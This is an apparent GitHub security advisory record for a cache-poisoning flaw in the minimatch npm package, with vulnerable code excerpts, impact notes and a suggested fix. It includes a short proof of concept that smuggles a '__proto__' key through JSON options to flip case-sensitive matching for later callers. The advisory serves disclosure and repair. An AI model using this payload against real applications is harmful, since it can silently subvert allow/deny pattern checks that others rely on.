{"id":"GHSA-3924-r96c-gp9w","summary":"minimatch: Proto Key Bypasses Cache-Key Weighting in minimatch's Shared Matcher Cache","details":"### Summary\n\nminimatch's module-global matcher cache can be poisoned by a `__proto__` key in the `options` object passed to `minimatch()`. `optionsKey()` scores that key the same as no options at all, while `copyOptions()`'s bare `for...in` loop re-parents its copy onto the attacker's prototype instead of copying it as an own property — one caller doing this is enough to flip the cached matcher's case-sensitivity for every later, unrelated caller matching the same pattern string.\n\n\n### Details\n\n`src/index.ts:229-234`, `optionsKey()` has no `case '__proto__'`, so it falls through to `default` and contributes weight `0`:\n\n```ts\nconst optionsKey = (o: MinimatchOptions): number | string =\u003e {\n  for (const k in o) {\n    switch (k) {\n      // ... no 'case \"__proto__\":' branch ...\n      default:\n        n += (booleanWeights.get(k) ?? 0) * tri(v)\n```\n\n`src/index.ts:291-296`, `copyOptions()` copies with a plain assignment, not `Object.defineProperty`, so `__proto__` runs through the real setter instead of landing as an own key:\n\n```ts\nconst copyOptions = (o?: MinimatchOptions) =\u003e {\n  const copy: Record\u003cstring, unknown\u003e = {}\n  for (const k in o) copy[k] = (o as Record\u003cstring, unknown\u003e)[k]\n  return copy as MinimatchOptions\n}\n```\n\n`cachedMinimatch()` (`src/index.ts:298-323`) then stores the `Minimatch` built from the poisoned `copyOptions(options)` under the key `optionsKey(options)` returns — the same key a later, option-less call will look up. Neither function has the one missing check that matters here: special-case `__proto__` before it reaches assignment.\n\n\n### Proof of concept\n\n```js\nimport { minimatch } from 'minimatch'\n\nconst smuggled = JSON.parse('{\"__proto__\":{\"nocase\":true}}')\n// attacker's own call — nocase takes effect for them\nconst r1 = minimatch(file, patternLower, smuggled)\n...\n```\n\nThen, with no knowledge of the call above, a second, fully-trusted caller matches the same pattern with zero options:\n\n```js\n// SEPARATE caller, SAME pattern string, DEFAULT options\nconst r2 = minimatch(file, patternLower)\n```\n\n## Result\n\n```\nminimatch(\"FOO-....TXT\", \"foo-....txt\", smuggled) = true\nminimatch(\"FOO-....TXT\", \"foo-....txt\")  [no options]  = true  (expected false)\nminimatch(\u003cuntouched UPPER\u003e, \u003cuntouched lower pattern\u003e) [no options] = false  (expected false)\ncache-poisoned: true\nglobal Object.prototype polluted: NO\n```\n\n`r2 = true` is the proof: a second, independent call with no options at all gets back the attacker's poisoned matcher. The untouched-pattern control stays `false`, and `Object.prototype` itself is never touched — this is cache poisoning, not classic global prototype pollution.\n\n\n### Impact\n\nAny process that relies on the default, process-global `minimatch()` cache to evaluate security-relevant patterns (allow/deny lists, package-name filters) loses the integrity of that decision the moment one code path builds `options` from untrusted JSON — README.md's own stated default, \"compared case sensitively, unless `nocase:true` is set,\" breaks for a bystander caller. This is not remote code execution and not data disclosure — it's a single boolean match-outcome flip, scoped to the shared cache, that persists until the entry is evicted.\n\n## Suggested Fix\n\n```ts\n// copyOptions(): never let __proto__ become the copy's own prototype\nconst copyOptions = (o?: MinimatchOptions) =\u003e {\n  const copy = Object.create(null) as Record\u003cstring, unknown\u003e\n  for (const k in o) if (k !== '__proto__') copy[k] = (o as Record\u003cstring, unknown\u003e)[k]\n  return copy as MinimatchOptions\n}\n```","aliases":["CVE-2026-141514"],"modified":"2026-12-05T18:45:12.639155175Z","published":"2026-12-04T21:52:16Z","database_specific":{"nvd_published_at":"2026-12-01T21:17:11Z","cwe_ids":["CWE-1321"],"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2026-12-04T21:52:16Z"},"references":[{"type":"WEB","url":"https://github.com/isaacs/minimatch/security/advisories/GHSA-3924-r96c-gp9w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-141514"},{"type":"WEB","url":"https://github.com/isaacs/minimatch/commit/1c1198638b1df8fa0d688b55380bbfbe59fee908"},{"type":"PACKAGE","url":"https://github.com/isaacs/minimatch"}],"affected":[{"package":{"name":"minimatch","ecosystem":"npm","purl":"pkg:npm/minimatch"},"ranges":[{"type":"SEMVER","events":[{"introduced":"11.0.6"},{"fixed":"11.0.10"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 11.0.9","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-3924-r96c-gp9w/GHSA-3924-r96c-gp9w.json"}}],"schema_version":"1.9.3","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"}]}